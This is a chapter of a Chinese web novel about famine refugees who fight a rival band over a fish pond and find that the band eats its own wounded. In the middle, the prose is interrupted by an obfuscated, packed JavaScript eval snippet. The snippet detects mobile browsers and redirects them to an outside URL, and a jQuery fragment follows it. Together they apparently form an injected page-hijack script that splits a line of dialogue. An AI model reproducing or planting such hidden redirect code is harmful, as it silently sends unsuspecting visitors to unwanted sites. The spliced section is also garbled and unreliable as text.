前两日捡的菌子还没烘完,又有鱼吃。
有村民直接把菌子和鱼炖在一起,最后撒一把盐,意外的发现:太好吃了!
不知道是太久没吃肉还是太香了,有些人吃着吃着,直接吃哭了。
领了属于自家的鱼之后,宁妈宁爸回到自家的小天地,把帘子一拉,隔档住其他人的目光。
宁妈掏出平底锅架在炉子上,把锅烧热,宁爸给锅里稍微浇上一点点油,加上两片姜,把洗净的鱼放进去。
滋啦一声,油香和姜味顿时把鱼的腥味给压下去,凉面煎得金黄之后,宁妈从空间摸出一块冻豆腐递给宁爸。
没有鲜豆腐,只能用这个替代了。
陶锅添水烧上,把煎过的鱼和冻豆腐一起放到陶锅里炖,不一会,随着锅底涌上来的开水泡泡,砂锅里的鱼汤越来越白,最后竟然变为奶白色。
冻豆腐在里头都有些发黄。
宁妈拿出小葱,等出锅之前,宁爸先往里头加了一撮盐,最后把小葱撒上去,鱼汤又鲜又香,喝一口舌头都要被鲜掉了。
光喝鱼汤不够,宁妈拿出来之前煎的预制馅饼,俩人就着一锅鱼汤,一人一口气吃了三个巴掌大的牛肉馅饼。
最后喝汤溜溜缝,宁爸觉得自己都要晕碳了。
洞里其他人家也差不多,有一大半都在炖汤喝。
白天淋了雨,夜间喝汤刚刚好。
第二天。
都不用里正催,王李村的人早早便起来吃好早饭,天刚蒙蒙亮的时候便吆三喝六地喊着熟悉的人起来去网鱼。
昨天在洞里休息的人又做了两张网,今天一下子出去一半人去网鱼。
有两个妇人杀鱼麻利,自告奋勇去杀鱼,里正也把人给带上。
到了水潭,捞鱼的捞鱼,杀鱼的杀鱼,剩下的人轮班把鱼往山洞里送。
山风一刮,洞口满是鱼香味。
更令人高兴的是,连着几天的雷暴终于没了!
这下被雷劈两次有些不敢出去的钱婆子都敢壮着胆子让赵老大扶着她去外头。
王李村的人,一半的人分成两队,一队去捞鱼,一队在洞里烘鱼补草网。
另一半的人,各家自己留人在洞里看东西,剩下还能动弹的都出去找菌子了。
虽然有鱼可以吃,菌子也不能不要!这两样弄干了可都是能储存好久的吃食!
王李村的人起码网了一千多斤的鱼,按人头分到每家,一人都能分到十来斤!
老赵家人多,车厢里堆满了烤得半干的鱼,夜间休息的时候得掏出来时不时翻烤,不烤透就放着容易坏。
这天,王李村的汉子拿着草网朝水潭走。
远远的,走在队首的王修奉瞧见水潭旁似乎有人!
他们想往回躲躲,没曾想,站在水潭边上的人也看到了他们。
没办法,王修奉只能皱眉上前,走近了,他才能看到,站在水潭边上的是一群衣衫褴褛的难民。
王李村的人衣裳上挂几个破洞,多几个补丁的逃荒人跟他们比起来,还算是体面的了。
对面的人衣服烂得真的是一缕一缕的,宁爸眼神好,都能看到有几个汉子胯间的衣服几乎遮不住屁股。
对面的汉子看到王李村的人,立马站在水潭边上拦住,恶狠狠道:“这个水潭是我们发现的!”
“你胡说!”
王修奉身后的汉子朝对方喊:“明明是我们先发现的!”
两边一言不合吵了起来,王修奉看他们也没个领头的样子,让自己这边停下。
等两边吵完,王修奉说:“我们发现水潭之后立马去编草网了!你们明显是才发现水潭,不然连个捅都没有,那什么来捞鱼?”
对方一听,其中一个汉子直接过来推搡一把,“滚你丫的,老子管你什么水桶渔网的!”
王修奉反反应不及,被他推得往后**几步,他身后的汉子直接撸起袖子,照那人脸上一拳砸下去。
后头的人丢下手里的草网和木桶木盆,捋捋袖子直接加入战局。
怕衣裳被打坏,有几个汉子直接脱了上衣,连着斗笠一起放在一边,大喊着挥舞着拳头朝对方脸上砸。
对面先动手还不讲理,那他们也没有讲理的必要!况且这水潭是他们先发现的!
这里头可是关乎着一家老小接下来的口粮,说什么也不能退让!
站在后头的宁爸吩咐队伍里年纪较小的少年和周剑:“你俩快些回去告诉里正,说水潭这边有流民过来了,现在打起来了,让他们带点人过来!”
俩孩子听完,手拉手朝山洞跑。
他们离开之后,宁爸捋捋袖子,赤手空拳加入战局之中。
为了护食,两边都下了死手,什么下三烂的招数都能使出来,宁爸险险躲过一击之后,从腰间拿出赵宁宁从空间拿出来的,给大家留着防身的水果刀。
这水果刀买来是切西瓜使的,二十厘米长,宁爸空了就会磨,锋利无比。
一刀朝对面汉子的腰刺下去,对面的人立马倒下去一个。
这边有武器,对面猝不及防之下,连续三个人中招。
后头,里正和队伍里的壮汉带着武器大喊着赶过来。
对面见势不妙,拖着受伤的人立马撤退。
宁爸朝王修奉看了一眼,王修奉抹抹脸上的雨水,跟着在宁爸后头,远远缀着这几人跟踪。
里正赶来时,王修奉都走远了,他不放心,村里两个方向好的汉子主动出来说跟着过去。
等他们四个走远,站在水潭边上的汉子问:“里正,咱们还捞鱼吗?”
里正点头:“捞!能捞多少捞多少!”
这里既然被其他人发现,说明这里要不太平了!
能捞多少就捞多少,否则后头其他流民追上来……光靠他们一个村子,总有守不住的时候。
另一头。
宁爸和王修奉没走多远,后头的两个汉子也赶了过来,四人默契地没有说话,而是远远跟着前头的人。
那十来个汉子没想到自己都逃走了还会被跟踪,一个回头看的都没有,宁爸随着他们翻过一个小坡,看他们从坡顶滑到坡底。
隔着林子,能隐约看到他们在底下用树枝和树叶搭了防雨的棚子。
这种棚子不耐雨淋,每天都要重新搭建和打理,王李村的人在路上也搭过,有油布的人家都是用油布做棚顶的。
数了数棚子,约莫有十来个,底下挤挤攘攘的,不知道有多少人。
那十来个汉子到坡地,立马有三个汉子迎上去,几人说了几句话,把受伤的汉子往一个油布棚子底下拖。
这个油布棚子是十几个棚子里唯一还像样的棚子。
不过有些奇怪的是,那三个汉子被拖进去之后,既没人进去看他们,也没人从里头出来。
反倒是旁边的棚子开始架锅生火起来了。
那锅还是一口大铁锅。
宁爸挑眉,他们穿得这么破烂,从哪找来的这么大的铁锅?
往锅里添水烧滚之后,宁爸才看到有人往油布棚子里走,进去的人拿着一把刀,再出来的时候……提着两个胳膊和一条腿。
意识到自己看到什么东西的时候,已经来不及了。
宁爸咧咧嘴,把目光挪开,刚好看到了一边的王修奉,正捂着嘴,一副要吐不吐的样子。
王修奉后头的两个村里汉子也跟他一样,紧紧捂住嘴,生怕自己吐出来,也生怕自己发出声音。
过了一会,宁爸才做好心里准备往底下瞧。
“食物”已经煮上,等熟的时候,那几人凑在一起不知道在说些什么。
宁爸又等了一会,趁他们分肉汤的时候粗略数了一下人数,这才带着三个村里人往回走。
一直走了很远,王修奉才扶着树干,干呕几下。
另外两个汉子脸色也很难看。
“赵大哥,他们……”
宁爸忙打断他们的话:“嗯,是的,别说出来。”
王修奉听完,捂着嘴又去干呕去了。
等他好一些,几人一边往回走,宁爸一边说:“他们这个队伍有七八十个人,壮劳力的汉子几乎占六七成。”
王李村现在的汉子,只占五成。好在王李村的人数多一些,两边汉子总数倒是差不太多。
宁爸笃定道:“他们那边肯定不会善罢甘休的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235824|197609||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
回到水潭边上,宁爸把自己的发现跟里正讲了,里正愁得眉毛都白了几根,说:“咱们不能丢掉水潭,这样,从今天开始,咱们都警惕起来,派两个人盯着那边的动静。”
“要是发现他们的人往这边走,就赶紧回来通知,这边也好做预防。”
首选盯着他们的人,肯定是今天跟踪过去的四人。
他们再带出来四个,这样八个人好轮换,也不一定非要壮劳力的汉子,跑得快、胆子大的小子也可以。
跑回去通报的周剑和另一个少年被宁爸推举出来,里正让他俩跟着认认路。
发现后头有流民撵上来之后,山洞里的氛围都开始紧张起来了。
何氏把能收起来的东西都收起来。
烤好的鱼干和菌子干都收好,用绳子固定好。
被褥尽量铺的一卷就能往车上放。
万一说要走,她们家可以省去收拾的时间,尽快离开这里。
宁妈也简略收拾了一下东西,她担心宁爸,听到外头有**的流民,宁妈托何氏帮忙看着自家车架子,跟着宁爸一起到外头盯梢。
她**嗷嗷猛,里正看她担心,干脆放她和赵老二一起去盯梢。
在山洞里闲着的时候宁妈把空间整理了一下,走在路上顺手收了几个大石头,作防身的大杀器用。
两人一组,一组盯梢四个时辰,一天轮换三组。
因着要长时间在外头,里正贡献出家里的斗笠和蓑衣,让来盯梢的人都能尽量不被雨水淋到。
宁爸宁妈自己就有,不用借用里正家的,他俩找了一个隐蔽的凹坑,宁爸去扯点枯黄的野草顶在斗笠上。
黄色的斗笠和枯黄色的野草融为一体,十分隐蔽,这样远远看过来,不仔细看都认不出。
窝在坑里,四处无人,宁妈刚好能开小灶。
不方便吃的食物她就不拿出来了,之前做的卷饼还有,宁妈一人拿出来一个。
只吃饼有些干巴,宁妈拿出来一瓶橙汁递给宁爸。
吃完卷饼,宁妈把之前卤的肉也拿出来两块,一人一块啃完,宁爸都觉得自己肚子有点胀。
吃饱之后,俩人坐在原地盯梢。
白天盯完一轮无事发生,第二天白天,负责盯梢的王修奉跑回山洞,喊村里人带上武器。
那群人召集了二十来个汉子正朝着水潭那边去!
另一个盯梢的人去水潭边上通风报信,两边夹击之下,对面流民刚到水潭边上没多久,又被打了个遍体鳞伤的回去。
第二天轮到宁爸他们盯前半夜。
一开始他们在坑地下也是正常走动,受伤轻的人回自家棚底下休息,受伤重的直接被拖进油布棚底下。
宁妈推测,这是把受伤重的人当成“备用粮”。
有几人围着火堆坐着说话,他们没什么耐心,说着说着竟然吵起来了。
宁妈和宁爸胆子都大,借着夜色趴在斜坡上偷听。
“……那可是水潭!你也看见了,鱼有多大!”
“反正老子是受够了!谁爱**肉谁吃!我要吃鱼!”
“老大,你就说句准话,咱们人这么多,怕那群人作甚!”
“就是,咱们只是一时不防,谁料到他们竟然耍阴招,直接带了这么多人过来!”
坐在上首的人一直没有吭气,良久,那人才说:“明天,明天去水潭边上打探一下他们队伍的情况。”
“早该这样!咱们这么多人怕他们干啥,打赢了,他们的人和吃食都是咱们的!”
“就是,他们霸占水潭那么久,肯定捞上去了不少鱼!只要咱们把那支队伍吞下,他们捞上来的鱼都是咱们的!”
“那他们不是白费力气给咱们做衣裳?”
“笨!那叫‘为他人作嫁衣裳’!”
“……”
直到夜深了,对面队伍的吵嚷声这才渐渐消停。
等他们都去休息之后,宁爸和宁妈退回凹坑。
等后半夜交班的人来了之后,宁爸简单交代了一下底下人的话,带着宁妈冒雨赶夜路回山洞。
回去之后,宁爸学了学那几人的话,问:“里正,咱们咋办?”